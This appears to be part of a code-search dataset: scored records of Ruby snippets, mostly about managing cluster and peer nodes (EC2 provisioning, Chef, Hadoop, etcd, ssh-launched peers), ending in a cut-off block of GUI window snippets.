"text": "def requestnewnode(ami,type)\n ec2keys = XgridEC2.first\n ec2_access_key = ec2keys.ec2key\n ec2_secret_key = ec2keys.ec2pwd\n #ec2_secret_key = Digest::SHA1.hexdigest(ec2_secret_key)\n\n node = XgridNode.new\n node.name = \"\"\n node.status = 1\n node.save\n\n masterid = `hostname`.strip\n masterip = XgridConfig.ip\n masterkey = File.open('/var/lib/hadoop/hdfs/.ssh/id_rsa.pub', 'rb') { |f| f.read.chomp }\n user_data =\"HADOOP=\\\"node\\\"\\nMASTERIP=\\\"\"+masterip+\"\\\"\\nMASTERID=\\\"\"+masterid+\"\\\"\\nMASTERKEY=\\\"\"+masterkey+\"\\\"\\n\"\n apikey = XgridConfig.apikey\n user_data += \"XGRIDID=\\\"\"+node.id.to_s+\"\\\"\\nKEY=\\\"\"+apikey+\"\\\"\\nXGRIDMASTER=\\\"\"+XgridConfig.ip+\"\\\"\\n\"\n\n ec2 = AWS::EC2::Base.new(:access_key_id => ec2_access_key, :secret_access_key => ec2_secret_key, :server => XgridConfig.url, :port => XgridConfig.port.to_i, :use_ssl => false)\n\n begin\n response = ec2.run_instances(\n :image_id => ami,\n :min_count => 1,\n :max_count => 1,\n :instance_type => type,\n :user_data => user_data,\n :base64_encoded => true\n )\n rescue Exception => e\n return e.message\n end\n\n return nil\n\nend",
"title": ""
},
{
"docid": "fe5b64162471970e4d5d505ca17d7d78",
"score": "0.531209",
"text": "def pickit(joinhash, selfipaddress)\n joinarray = {}\n pick = joinhash.sort.reverse.pop\n joinarray['nodetojoin'] = pick[0]\n joinarray['knownnodes'] = 'ns_1@' + selfipaddress + ',ns_1@' + joinarray['nodetojoin']\n joinarray\nend",
"title": ""
},
{
"docid": "537dfa66c5f5b958ec1231f87e50580e",
"score": "0.53086495",
"text": "def discover_chef_nodes!\n chef_nodes.each do |chef_node|\n if (cchef = chef_node['cluster_chef'])\n cluster_name = cchef[\"cluster\"] || cchef[\"name\"]\n facet_name = cchef[\"facet\"]\n facet_index = cchef[\"index\"]\n elsif chef_node[\"cluster_name\"] && chef_node[\"facet_name\"] && chef_node[\"facet_index\"]\n cluster_name = chef_node[\"cluster_name\"]\n facet_name = chef_node[\"facet_name\"]\n facet_index = chef_node[\"facet_index\"]\n elsif chef_node.name\n ( cluster_name, facet_name, facet_index ) = chef_node.name.split(/-/)\n else\n next\n end\n svr = ClusterChef::Server.get(cluster_name, facet_name, facet_index)\n svr.chef_node = chef_node\n @aws_instance_hash[ chef_node.ec2.instance_id ] = svr if chef_node[:ec2] && chef_node.ec2.instance_id\n end\n end",
"title": ""
},
{
"docid": "4e79986ed4bc232e7959e517d9fa60d0",
"score": "0.5304963",
"text": "def nodes; end",
"title": ""
},
{
"docid": "4e79986ed4bc232e7959e517d9fa60d0",
"score": "0.5304963",
"text": "def nodes; end",
"title": ""
},
{
"docid": "4e79986ed4bc232e7959e517d9fa60d0",
"score": "0.5304963",
"text": "def nodes; end",
"title": ""
},
{
"docid": "4e79986ed4bc232e7959e517d9fa60d0",
"score": "0.5304963",
"text": "def nodes; end",
"title": ""
},
{
"docid": "4e79986ed4bc232e7959e517d9fa60d0",
"score": "0.5304963",
"text": "def nodes; end",
"title": ""
},
{
"docid": "253446e8de5e5fe29d17bd811b08c9ee",
"score": "0.53029156",
"text": "def test_discover\n\tpeer2peer do |remote|\n\t def remote.add_tasks(trsc)\n\t\ttrsc = local_peer.local_object(trsc)\n\n\t\ttrsc.edit do\n\t\t t1 = Tasks::Simple.new :id => 'root'\n\t\t t1.depends_on(t2 = Tasks::Simple.new(:id => 'child'))\n\t\t t1.signals(:start, t2, :start)\n\t\t t2.depends_on(t3 = Tasks::Simple.new(:id => 'grandchild'))\n\t\t t3.signals(:failed, t2, :failed)\n\n\t\t trsc.add_mission(t1)\n\t\tend\n\t end\n\tend\n\n\ttrsc = Distributed::Transaction.new(plan)\n\ttrsc.add_owner remote_peer\n\ttrsc.propose(remote_peer)\n\n\ttrsc.release(false)\n\tremote.add_tasks(Distributed.format(trsc))\n\ttrsc.edit\n\tassert(t1 = trsc.find_tasks.with_arguments(:id => 'root').to_a.first)\n\tassert(t2 = trsc.find_tasks.with_arguments(:id => 'child').to_a.first)\n\tassert(t3 = trsc.find_tasks.with_arguments(:id => 'grandchild').to_a.first)\n\n\tassert(t1.child_object?(t2, TaskStructure::Hierarchy))\n\tassert(t2.child_object?(t3, TaskStructure::Hierarchy))\n end",
"title": ""
},
{
"docid": "eefcb3587aeef43ce463f6db310d2aa3",
"score": "0.5295151",
"text": "def hit_head_node_info\n head_node_private_ip_file = \"#{node['cfncluster']['slurm_plugin_dir']}/master_private_ip\"\n head_node_private_dns_file = \"#{node['cfncluster']['slurm_plugin_dir']}/master_private_dns\"\n\n [IO.read(head_node_private_ip_file).chomp, IO.read(head_node_private_dns_file).chomp]\nend",
"title": ""
},
{
"docid": "6497ab460b6b195909354c637099489a",
"score": "0.52951175",
"text": "def initialize_the_network #Kohonen Katmanındaki Proses Elemanlarının Oluşturulması.\n\t40.times do\n\t\tinitialize_the_weights\n\tend\nend",
"title": ""
},
{
"docid": "ace860788414080a5561a9210dc11386",
"score": "0.5283997",
"text": "def gen_node_infos(cluster_yml)\n\n aws_access_key = ENV['AWS_ACCESS_KEY']\n aws_secret_key = ENV['AWS_SECRET_KEY']\n\n hostname_suffix = cluster_yml['hostname_suffix']\n\n zookeeper_node_count = cluster_yml['zk_n']\n mesos_node_count = cluster_yml['mesos_n']\n slave_node_count = cluster_yml['slave_n']\n\n zookeeper_connections = (1..zookeeper_node_count).map do |i|\n \"zk#{i}.#{hostname_suffix}:2181\"\n end\n\n zookeeper_servers = (1..zookeeper_node_count).map do |i|\n \"#{hostname_suffix}:2888:3888\"\n end\n \n zk_infos = (1..zookeeper_node_count).map do |i|\n {\n :hostname => \"zk#{i}\",\n :fqdn => \"zk#{i}.#{hostname_suffix}\",\n :ip => cluster_yml['zk_ipbase'] + \"#{10+i}\",\n :mem => cluster_yml['zk_mem'],\n :cpus => cluster_yml['zk_cpus'],\n :manifest_file => \"zk.pp\",\n :facts => {\n :zookeeper_servers => zookeeper_servers.join(','),\n :aws_access_key => aws_access_key,\n :aws_secret_key => aws_secret_key,\n }\n }\n end\n\n mesos_infos = (1..mesos_node_count).map do |i|\n {\n :hostname => \"mesos#{i}\",\n :fqdn => \"mesos#{i}.#{hostname_suffix}\",\n :ip => cluster_yml['mesos_ipbase'] + \"#{10+i}\",\n :mem => cluster_yml['mesos_mem'],\n :cpus => cluster_yml['mesos_cpus'],\n :manifest_file => \"mesos.pp\",\n :facts => {\n :quorum => (mesos_node_count.to_f / 2).ceil\n }\n }\n end\n\n slave_infos = (1..slave_node_count).map do |i|\n {\n :hostname => \"slave#{i}\",\n :fqdn => \"slave#{i}.#{hostname_suffix}\",\n :ip => cluster_yml['slave_ipbase'] + \"#{10+i}\",\n :mem => cluster_yml['slave_mem'],\n :cpus => cluster_yml['slave_cpus'],\n :manifest_file => \"mesos-slave.pp\",\n :facts => {\n }\n }\n end\n\n return {\n :zk => zk_infos,\n :mesos => mesos_infos,\n :slave => slave_infos,\n }\nend",
"title": ""
},
{
"docid": "abdb56dc4e53c35044792f9a3513b78e",
"score": "0.5280163",
"text": "def edgeuses\n end",
"title": ""
},
{
"docid": "d1dd9def02ccf230a1270006a4dfe390",
"score": "0.52797943",
"text": "def create_nodes\n nodes = Array.new\n nodes_hash = Hash.new\n if @parsed_hash[:hadoop_deploy] != 'disabled'\n #namenode\n nodes.push(*@parsed_hash[:hadoop_deploy][:hadoop_namenode])\n #zookeepers\n if @parsed_hash[:hadoop_deploy][:hadoop_ha] == 'enabled' or @parsed_hash[:hbase_deploy]\n nodes.push(*@parsed_hash[:zookeeper_quorum])\n end\n #mapreduce\n if @parsed_hash[:hadoop_deploy][:mapreduce] != 'disabled'\n nodes << @parsed_hash[:hadoop_deploy][:mapreduce][:master]\n else\n nodes << @parsed_hash[:hadoop_deploy][:hadoop_secondarynamenode] unless @parsed_hash[:hadoop_deploy][:hadoop_ha] == 'enabled'\n end\n #hbase\n if @parsed_hash[:hbase_deploy] != 'disabled'\n nodes.push(*@parsed_hash[:hbase_deploy][:hbase_master])\n end\n #worker nodes\n nodes.push(*@parsed_hash[:slave_nodes])\n end\n if @parsed_hash[:cassandra_deploy] != 'disabled'\n nodes.push(*@parsed_hash[:cassandra_deploy][:cassandra_nodes])\n end\n if @parsed_hash[:kafka_deploy] != 'disabled'\n nodes.push(*@parsed_hash[:kafka_deploy][:kafka_nodes])\n nodes.push(*@parsed_hash[:kafka_deploy][:kafka_brokers])\n end\n if @parsed_hash[:storm_deploy] != 'disabled'\n nodes.push(*@parsed_hash[:storm_deploy][:storm_supervisors])\n nodes.push(*@parsed_hash[:storm_deploy][:storm_master])\n end\n if @parsed_hash[:kafka_deploy] != 'disabled' or @parsed_hash[:storm_deploy] != 'disabled'\n nodes.push(*@parsed_hash[:zookeeper_quorum]) \n end\n #remove duplicates\n nodes.uniq!\n nodes.compact! #remove nil if any\n if @parsed_hash[:controller] == 'localhost'\n nodes_hash[:puppet_server] = `hostname --fqdn`.chomp\n else\n nodes_hash[:puppet_server] = @parsed_hash[:controller]\n end\n nodes_hash[:puppet_clients] = nodes\n nodes_hash\n end",
"title": ""
},
{
"docid": "1fbe50e0dd2517318dda68225d7ff54f",
"score": "0.52737916",
"text": "def render_state\n puts \"Node is running on \" + LHOST.to_s.magenta + ':'.colorize(:background => :white, :color => :magenta).bold + LPORT.to_s.magenta.bold\n print \"My Peers: \".upcase\n $PEERS.each do |peer|\n print \"#{peer[:host]}:#{peer[:port]}\".yellow.bold + ', '\n end\nend",
"title": ""
},
{
"docid": "258b8c919a3d11be9465785d68adfb8e",
"score": "0.5269484",
"text": "def start\n # 1. Get supernodes from cache or bootstrap node\n # NOTE The +attempt_to_supernodes+ will block here until get\n # some active supernodes. Ordinary nodes can work without \n # supernodes.\n Routing.log{|logger| logger.info(self.class) {\"1. Getting SNs ...\"}}\n sns = attempt_fetch_supernodes\n # 2. Connect to supernodes\n Routing.log {|logger| logger.info(self.class) {\"2. Connecting to SNs ...\"}}\n connect_supernodes(sns)\n\n # 3. Start the background threads\n @request_supernodes_thread = start_request_supernodes_thread\n @compute_hits_thread = start_compute_hits_thread\n\n # 4. Read messages from supernodes, and handle them.\n @running = true\n while @running\n # Wait for message from other nodes\n ready = select(@socks,nil,nil,@timeout) \n readable = ready[0]\n \n unless readable.nil?\n readable.each do |sock|\n if sock.eof? # The socket has disconnected\n Routing.log {|logger| logger.info(self.class) {'Socket has disconnected.'}}\n @lock.synchronize { @socks.delete(sock)}\n # Remove it if it is in supernode table\n @supernode_table.delete(sock.node) if @supernode_table.include?(sn.node)\n sock.close\n else # Message is ready for reading\n msg = @protocol.read_message(sock)\n unless msg.nil?\n @bandwidth_manager.downloaded(msg.bytesize,Time.now-message.ftime.to_time) unless @bandwidth_manager.nil?\n handle_message(msg,sock)\n else\n Routing.log {|logger| logger.error(self.class) {'The message read is nil.'}}\n end\n end\n end\n else # timeout\n @socks.delete_if do |sock|\n sock.closed? # Discarded by supernode table\n end\n end\n end\n end",
"title": ""
},
{
"docid": "9227c98e5b93e57bdcba7df7b41e2bb8",
"score": "0.52679574",
"text": "def leader_election\n begin\n #Integer parsing added to check that a sequence has been appended to the node key\n @backends = @backends.sort { |x, y| Integer(x['name'].gsub(/^.*-(0)*/, '')) <=> Integer(y['name'].gsub(/^.*-(0)*/, '')) }\n @backends[0]['backup'] = false\n log.debug \"synapse: electing leader, updated backends #{@backends}\"\n rescue ArgumentError, NoMethodError\n raise \"'sequential' should be enabled in nerve configuration for service \" \\\n \"#{@name} to perform leader election, please enable 'sequential' in nerve\" \\\n \" configuration for all servers of #{@name} service, or disable \" \\\n \"'leader_election' in synapse configuration\"\n end\n end",
"title": ""
},
{
"docid": "79f4940c374e08fb9d5187bccc334572",
"score": "0.52640444",
"text": "def peers_seeding\n attributes['peersSendingToUs']\n end",
"title": ""
},
{
"docid": "46b6c29be413be49cac19f44590f2a55",
"score": "0.5255163",
"text": "def get_cloud_nodes(ciName)\n # Get the list of all nodes\n if node.workorder.payLoad.has_key?(\"RequiresComputes\")\n allNodes = node.workorder.payLoad.RequiresComputes\n else\n allNodes = node.workorder.payLoad.computes\n end\n\n # Remember the cloud ID for this component\n cloudId = cloudid_from_name(ciName)\n\n # Filter out nodes that don't have private IPs and that also don't have\n # the same cloud ID for this component\n workerNodes = []\n allNodes.each do |thisNode|\n next if thisNode[:ciAttributes][:private_ip].nil? || thisNode[:ciAttributes][:private_ip].empty? || (cloudId != cloudid_from_name(thisNode.ciName))\n\n # All nodes are worker nodes\n workerNodes.push thisNode[:ciAttributes][:private_ip]\n end\n\n sortedWorkerNodes = workerNodes.sort\n\n return sortedWorkerNodes\nend",
"title": ""
},
{
"docid": "46b6c29be413be49cac19f44590f2a55",
"score": "0.5255163",
"text": "def get_cloud_nodes(ciName)\n # Get the list of all nodes\n if node.workorder.payLoad.has_key?(\"RequiresComputes\")\n allNodes = node.workorder.payLoad.RequiresComputes\n else\n allNodes = node.workorder.payLoad.computes\n end\n\n # Remember the cloud ID for this component\n cloudId = cloudid_from_name(ciName)\n\n # Filter out nodes that don't have private IPs and that also don't have\n # the same cloud ID for this component\n workerNodes = []\n allNodes.each do |thisNode|\n next if thisNode[:ciAttributes][:private_ip].nil? || thisNode[:ciAttributes][:private_ip].empty? || (cloudId != cloudid_from_name(thisNode.ciName))\n\n # All nodes are worker nodes\n workerNodes.push thisNode[:ciAttributes][:private_ip]\n end\n\n sortedWorkerNodes = workerNodes.sort\n\n return sortedWorkerNodes\nend",
"title": ""
},
{
"docid": "c9dc5d4e2be3e0edfd7addbd1a07e79c",
"score": "0.5253013",
"text": "def getpeerinfo\n node.pool.peers.map do |peer|\n local_addr = peer.remote_version.remote_addr[0..peer.remote_version.remote_addr.rindex(':')] + '18333'\n {\n id: peer.id,\n addr: \"#{peer.host}:#{peer.port}\",\n addrlocal: local_addr,\n services: peer.remote_version.services.to_s(16).rjust(16, '0'),\n relaytxes: peer.remote_version.relay,\n lastsend: peer.last_send,\n lastrecv: peer.last_recv,\n bytessent: peer.bytes_sent,\n bytesrecv: peer.bytes_recv,\n conntime: peer.conn_time,\n pingtime: peer.ping_time,\n minping: peer.min_ping,\n version: peer.remote_version.version,\n subver: peer.remote_version.user_agent,\n inbound: !peer.outbound?,\n startingheight: peer.remote_version.start_height,\n best_hash: peer.best_hash,\n best_height: peer.best_height\n }\n end\n end",
"title": ""
},
{
"docid": "facee1469f6adf8d2ef32fe411d609fa",
"score": "0.52515006",
"text": "def bootstrap\n if Minion.where(role: nil).count > 1\n # choose first minion to be the master\n Minion.assign_roles!(roles: { Minion.first.hostname => [\"master\"] })\n Velum::Salt.orchestrate\n else\n flash[:alert] = \"Not enough Workers to bootstrap. Please start at least one worker.\"\n end\n\n redirect_to nodes_path\n end",
"title": ""
},
{
"docid": "1a54ab2b08fc230b2c2c3fc2e0f92bce",
"score": "0.52486223",
"text": "def test_get_node_fallback_to_first\n ring = ConsistentHashing::Ring.new [\"A\"], 1\n\n point = ring.point_for(@examples[\"not_found\"])\n\n assert_equal \"A\", point.node\n assert_not_equal 0, point.index\n end",
"title": ""
},
{
"docid": "2ece68fbae2e268311bf68976d08a159",
"score": "0.5244336",
"text": "def get_middle_desired_output\n desired = 0\n child_connections.each do |conn|\n weight = conn.weight\n child_error = Node.find(conn.child_id).error\n desired += child_error * weight\n end\n desired\n end",
"title": ""
},
{
"docid": "90154122d9969c782dbfdae7aa697c65",
"score": "0.52434874",
"text": "def node_names\n $node_names ||= default_client.nodes.stats['nodes'].collect do |name, stats|\n stats['name']\n end\nend",
"title": ""
},
{
"docid": "941d6d059f5b3674cd186e742648723a",
"score": "0.5235675",
"text": "def node_load_start(node_name, config); end",
"title": ""
},
{
"docid": "8380628027187e5d9949e6badcd4ee27",
"score": "0.52330995",
"text": "def explore!\n\n # Reset nodes\n @nodes.clear\n\n @hosts.each do |host|\n begin\n @scout.configure(url(host))\n\n result = @scout.call!(\"HELLO\")\n\n # For keeping track of nodes and stats, we use only the\n # first eight characters of the node_id. That's because\n # those eight characters are part of the job_ids, and\n # our stats are based on that.\n @prefix = result[1][0,8]\n\n # Populate cache\n @nodes[@prefix] = host\n\n # Connect the main client to the last scouted node\n @client.configure(@scout.url)\n\n @scout.quit\n\n rescue *ECONN\n $stderr.puts($!.inspect)\n end\n end\n\n if @nodes.empty?\n raise ArgumentError, \"nodes unavailable\"\n end\n end",
"title": ""
},
{
"docid": "ab2ff797a9a2d4fc7ad071b5939ab3f9",
"score": "0.52302927",
"text": "def setup_links(nodes)\n super\n @attributes['links'].keys.each do |name|\n spawn(\"ip link set #{name} master br0\")\n end\n end",
"title": ""
},
{
"docid": "61a61bc246c393c867ad59418674e3ef",
"score": "0.522995",
"text": "def check_consistency(nodes); end",
"title": ""
},
{
"docid": "840c4cff7a8f891844a9013c1eefb295",
"score": "0.52274674",
"text": "def test_initialize_p\r\n\t\tPBSNodesClient.new(cluster_mock_pitzer)\r\n\tend",
"title": ""
},
{
"docid": "3c373457c4c7ccb6f3ff7eb72d92af85",
"score": "0.5224795",
"text": "def connect_setup\n\t\t\t\tzk.mkdir_p @base_path\n\t\t\t\t@node_path = zk.create \"#{@base_path}/#{NODE_PREFIX}\", @last_known_address, :sequence => true, :ephemeral => true\n\t\t\t\t@nodes = zk.children @base_path, :watch => true\n\t\t\tend",
"title": ""
},
{
"docid": "47d7d32156a6fbbd582203074ef287bd",
"score": "0.52015585",
"text": "def estimated_nodes\n parallelizable_meshpoints / max_ppn\nend",
"title": ""
},
{
"docid": "e2355b2c0cbe79ac563ab49f5769b540",
"score": "0.5194406",
"text": "def autoconfigure_node\n Chef::Log.info(\"etcd_service[#{ new_resource.name }] Cluster leader is #{ leader.peer_url }\") unless leader.nil?\n\n if active_peers.length >= new_resource.quorum\n ## We should become a proxy.\n Chef::Log.info(\"Quorum of #{ new_resource.quorum } peers already exists. Becoming a proxy.\")\n new_resource.state(:existing)\n new_resource.proxy(:on)\n\n elsif leader.nil?\n ## This is probably a new cluster.\n Chef::Log.info(\"etcd_service[#{ new_resource.name }] No active leader. \"\\\n 'Atempting to bootstrap a new cluster. Stand back, I\\'m going to try something.')\n new_resource.state(:new)\n new_resource.proxy(:off)\n\n else\n ## There is an active leader. We should join the cluster\n Chef::Log.info(\"etcd_service[#{ new_resource.name }] Joining an existing cluster\")\n new_resource.state(:existing)\n new_resource.proxy(:off)\n join_active_cluster\n end\n\n Chef::Log.info(\"etcd_service[#{ new_resource.name }] Setting state to #{ new_resource.state }\")\n Chef::Log.info(\"etcd_service[#{ new_resource.name }] Setting proxy to #{ new_resource.proxy }\")\n end",
"title": ""
},
{
"docid": "bea49f0984c0966d0be61c312f1d06b8",
"score": "0.5188876",
"text": "def discover_all_nodes(component_name)\n all_servers = search(:node, \"announces:#{component_name}\" ) rescue []\n all_servers.reject!{|server| %w[stop].include?(server.node[:state]) } # remove nodes which are stopped...\n all_servers.reject!{|server| server.name == node.name} # remove this node...\n all_servers << node if node[:announces][component_name] # & use a fresh version\n Chef::Log.warn(\"No node announced for '#{component_name}'\") if all_servers.empty?\n all_servers.sort_by{|server| server[:announces][component_name][:timestamp] }\n end",
"title": ""
},
{
"docid": "f329454324c5525090a5dd069e6edf44",
"score": "0.51879406",
"text": "def wait_till_nodes_start(nodes, count=40, sleep_time=5)\n puppet.discover(:nodes => nodes)\n\n count.times do |i|\n log(\"Waiting for %s nodes to start a run\" % bold(nodes.size)) if i % 4 == 0\n\n return if puppet.status.map {|resp| resp.results[:data][:applying] }.all?\n sleep sleep_time\n end\n\n puts(red(\"Failed to start %s nodes after %d tries\" % [nodes.size, count]))\n nodes.each do |node|\n puts(\"\\t%s\" % bold(node))\n end\n\n exit(1)\n end",
"title": ""
},
{
"docid": "f626708b64d1778ed6f354dc22f5570b",
"score": "0.5170422",
"text": "def start_peers()\n logger.info \"[Starting Peers...]\"\n threads = ThreadPool.new(peers.size)\n \n # Start all the peers redirecting their output to a log file\n peers.each do |peer|\n threads.execute {\n vip2p_start_command = \"java -Xms#{config['Xms']}m -Xmx#{config['Xmx']}m #{config['acceptDebugConnection']==\"yes\" ? \"-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=#{peer.port + 200}\" : \"\" } -cp #{@classpath}#{@jar_mode? \":\" + @jar_file : \"\"} fr.inria.gemo.vip2p.node.controler.ControlModule STARTUP #{peers[0].hostname} #{peers[0].port} #{peers[0].rmi_port} #{peer.hostname} #{peer.port} #{peer.rmi_port} .\"\n command = ssh(peer.hostname) + \"\\'. ~/.profile 2>/dev/null;cd #{@remote_root}; #{vip2p_start_command} \\'\"\n logger.debug(\"Executing: #{command}\")\n execute(command,true)\n }\n end\n\n threads.join()\n threads.close()\n \n end",
"title": ""
},
{
"docid": "8d2711a92ab6ec8a88454e65e38ee244",
"score": "0.5166399",
"text": "def request_node\n\n\tend",
"title": ""
},
{
"docid": "0f54c0bcc6d74571bfd7693004bcd8d6",
"score": "0.5164626",
"text": "def test1\n\n cp_pid = fork do\n exec(\"./cp1_tester -p nodes.map -c A.chunks -f C.chunks -m 4 -i 1 -t 1 -d 15\")\n end\n\n\tparent_to_child_read, parent_to_child_write = IO.pipe\n\tpeer_pid = fork do\n\t parent_to_child_write.close\n\n\t $stdin.reopen(parent_to_child_read) or\n\t\t\traise \"Unable to redirect STDIN\"\n\n\t exec(\"./peer -p nodes.map -c B.chunks -f C.chunks -m 4 -i 2 -d 15\")\n\tend\n\tparent_to_child_read.close\n\n\tsleep 1.0\n\t## send message to standard in of peer\n\twrite_to_peer = \"GET A.chunks silly.tar\\n\"\n\tparent_to_child_write.write(write_to_peer)\n\tparent_to_child_write.flush\n\n\t## wait for checkpoint1 binary to stop\n\tpid = Process.waitpid(cp_pid)\n\treturn_code = $? >> 8;\n\n\tProcess.kill(\"SIGKILL\", peer_pid);\n\n\tif(pid == cp_pid)\n\t\tif (return_code == 10) \n\t\t\treturn 1.0\n\t\telse\n\t\t\treturn 0.0\n\t\tend\n\telse\n\t\treturn 0.0\n\tend\nend",
"title": ""
},
{
"docid": "8c4ee2e8cb22e32bbc4c2b766702e219",
"score": "0.51620644",
"text": "def wait_for_desired_nodes(needed, desired)\n sleep(SMALL_WAIT) until system(\"#{NODETOOL} status > /dev/null 2>&1\")\n while true\n ready = nodes_ready\n Djinn.log_debug(\"#{ready} nodes are up. #{needed} are needed.\")\n break if ready >= needed\n sleep(SMALL_WAIT)\n end\n\n # Wait longer for all the nodes. This reduces errors during table creation.\n begin\n Timeout.timeout(60) {\n while true\n ready = nodes_ready\n Djinn.log_debug(\"#{ready} nodes are up. #{desired} are desired.\")\n break if ready >= desired\n sleep(SMALL_WAIT)\n end\n }\n rescue Timeout::Error\n Djinn.log_info('Not all database nodes are ready, but there are enough ' +\n 'to achieve a quorum for every key.')\n end\nend",
"title": ""
},
{
"docid": "57d1b00f9324c6626f07bd69a4461df3",
"score": "0.5161559",
"text": "def post_init\n\t\t\t\t\t@remote = Node.new(self,@peer.ip,@peer.port)\n\t\t\t\t\t@peer.add_peer(@remote)\n\t\t\t\tend",
"title": ""
}
] |
5792d408a798c925601044ba2be16830 | My attempt to get a second window going to place history info in a scrolled window widget. | [
{
"docid": "0354f3edef1a96030d107a3db178c027",
"score": "0.0",
"text": "def childWindow\n $window = Gtk::Window.new\n $window.signal_connect(\"delete_event\") do\n false\n end\n\n $table2 = Gtk::Table.new(5,6,true)\n $window.add($table2)\n\n $buttonDelete = Gtk::Button.new(\"Delete\")\n $table2.attach($buttonDelete,4,5,4,5)\n\n $buttonImg = Gtk::Button.new\n $table2.attach($buttonImg,0,3,0,3)\n\n $testImg = Gtk::Image.new(\"youtube-logo-transparent_solid.png\")\n $buttonImg.image = $testImg\n\n $window.show\n $window.move(200,200)\n $testImg.show\n $buttonImg.show\n $buttonDelete.show\nend",
"title": ""
}
] | [
{
"docid": "ab68afba9f6c8b29fe5a9cefcf3b2f2a",
"score": "0.6044542",
"text": "def info_window=(window); @info_window = window; end",
"title": ""
},
{
"docid": "a560df37354365da18d042b96279be43",
"score": "0.6001474",
"text": "def window_handle; end",
"title": ""
},
{
"docid": "598896b200d32246d1758205dfad7374",
"score": "0.59822863",
"text": "def new_window(type); end",
"title": ""
},
{
"docid": "a37adcbfac0e9d60428a218c0d057b4b",
"score": "0.59058326",
"text": "def create_window\n set_buffer_modified() # required still ??\n # first create the main top window with the tab buttons on it.\n $log.debug \" TPane create_buff Top #{@row}, Left #{@col} H #{@height} W #{@width} \"\n #$log.debug \" parentwin #{@parentwin.left} #{@parentwin.top} \"\n\n r = @row\n c = @col\n @form = ScrollForm.new(@parentwin)\n @form.set_layout(1, @width, @row+1, @col+1)\n @form.display_h = 1\n @form.display_w = @width-3\n @buttonpad = @form.create_pad\n\n\n ## We will use the parent window, and not a pad. We will write absolute coordinates.\n @window = @parentwin\n color = $datacolor\n # border around button bar. should this not be in scrollform as a border ? XXX\n @window.print_border @row, @col, 2, @width, color #, Ncurses::A_REVERSE\n @buttonpad.name = \"Window::TPTOPPAD\" # 2010-02-02 20:01 \n @form.name = \"Form::TPTOPFORM\"\n $log.debug(\"TP WINDOW TOP ? PAD MAIN FORM W:#{@window.name}, F:#{@form.name} \")\n @form.parent_form = @parent ## 2010-01-21 15:55 TRYING OUT BUFFERED\n @form.navigation_policy = :NON_CYCLICAL\n #xx @current_form = @form\n #xx color = $datacolor\n #xx @window.print_border @row, @col, @height-1, @width, color #, Ncurses::A_REVERSE\n \n Ncurses::Panel.update_panels\n _recreate_buttons\n \n button_form_repaint true\n @window.wrefresh ## ADDED 2009-11-02 23:29 \n @old_tab = @tabs.first\n @buttons.first().fire unless @buttons.empty? # make the first form active to start with.\n end",
"title": ""
},
{
"docid": "c90409505a8fbb4c89ce7f8e327907b2",
"score": "0.58692515",
"text": "def create_details_window\n x = @items_window.right_corner\n y = @items_window.y\n width = Graphics.width / 2\n height = Graphics.height - y\n @details_window = Window_ItemInfo.new(x, y, width, height)\n @items_window.info_window = @details_window\n end",
"title": ""
},
{
"docid": "30840ade535d8282a3f95d7e9f4237db",
"score": "0.5813621",
"text": "def info_window; @info_window; end",
"title": ""
},
{
"docid": "96d845bd90256b134049c9f426a1d762",
"score": "0.5796958",
"text": "def window_handles; end",
"title": ""
},
{
"docid": "d6ec0e7c3090b94ade1227700f1292c2",
"score": "0.57954025",
"text": "def test_detail_window\n detail_window = Window_ItemDetails.new(0,384,640,96,nil)\n detail_window.visible = false\n help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n w = Window_Selectable_Implemented.new(0,256,160,128,$data_items.compact)\n w.help_window = help_window\n w.detail_window = detail_window\n @windows.push(w)\n @windows.push(help_window)\n @windows.push(detail_window)\n end",
"title": ""
},
{
"docid": "7518ec137ac0704ebbf93a67012926a8",
"score": "0.57826924",
"text": "def set_backing_window win\n @otherwin = win\n # XX should we extract the coordinates and use for printing ??\n # or for setting maxrow and maxcol\n end",
"title": ""
},
{
"docid": "afa571a128c8cc007891ffb61ca348ee",
"score": "0.57696027",
"text": "def get_window; @window; end",
"title": ""
},
{
"docid": "4ef975971b910d06aab4f909d5dd7c3f",
"score": "0.57596564",
"text": "def add_to_history(page); end",
"title": ""
},
{
"docid": "41f516398ba6d1167acd731fe6709830",
"score": "0.5753848",
"text": "def detail_window=(dw)\n @detail_window = dw\n update_detail_window\n end",
"title": ""
},
{
"docid": "88c09d34a440df0b0c0de7d7919edae9",
"score": "0.5736657",
"text": "def show_info_windows\n window = current_info\n window.smooth_move(split_width, window.y)\n window.visible = true\n set_info_window window\n @keys_window.smooth_move(0, Graphics.height - @keys_window.height)\n @keys_window.visible = true\n end",
"title": ""
},
{
"docid": "3bc286f3290c32b8812cf3e08e9b0534",
"score": "0.572963",
"text": "def display_controls\n control_window = border_windows[:controls]\n # Loop through each action/key pair in the controls hash given by the controls function\n controls.each_with_index do |(action, key), i|\n # Set the position of the pair and add them to the window\n control_window.setpos(2 + i * 2, 2)\n control_window.addstr(\"#{action}: #{key}\")\n end\n control_window.noutrefresh\nend",
"title": ""
},
{
"docid": "2d37f6478463a402f380946cfc288a19",
"score": "0.56336766",
"text": "def createWindow\r\n \r\n end",
"title": ""
},
{
"docid": "d23401b6908d26e59b2a9bb5d2243628",
"score": "0.56051207",
"text": "def main_window\r\n super\r\n # Make windows\r\n @left_window = Window_DebugLeft.new\r\n @right_window = Window_DebugRight.new\r\n @help_window = Window_Base.new(192, 352, 448, 128)\r\n @help_window.contents = Bitmap.new(406, 96)\r\n # Restore previously selected item\r\n @left_window.top_row = $game_temp.debug_top_row\r\n @left_window.index = $game_temp.debug_index\r\n @right_window.mode = @left_window.mode\r\n @right_window.top_id = @left_window.top_id\r\n end",
"title": ""
},
{
"docid": "7b46e239fe59f1c51ed7ced1426161ed",
"score": "0.5604482",
"text": "def receive_next_window\n @window += 1\n receive_window\n end",
"title": ""
},
{
"docid": "0ca4c6a48d810b6169edd2a832181e89",
"score": "0.5601957",
"text": "def exp_window_update(exp)\n @victory_main.redraw_exp(exp)\n create_leveled_windows\n pack_and_send\n end",
"title": ""
},
{
"docid": "3c82dab70dc5a61fd166f2ea2b2df24a",
"score": "0.55945396",
"text": "def switch_to_previous_window\n @window_id -= 1\n if @window_id < 0\n # wrap back to the last\n @window_id = @browser.windows.count - 1\n end\n\n @browser.windows[@window_id].use\n end",
"title": ""
},
{
"docid": "b3799b5f0d9fcaf9f5787fc818f8d2c3",
"score": "0.55860656",
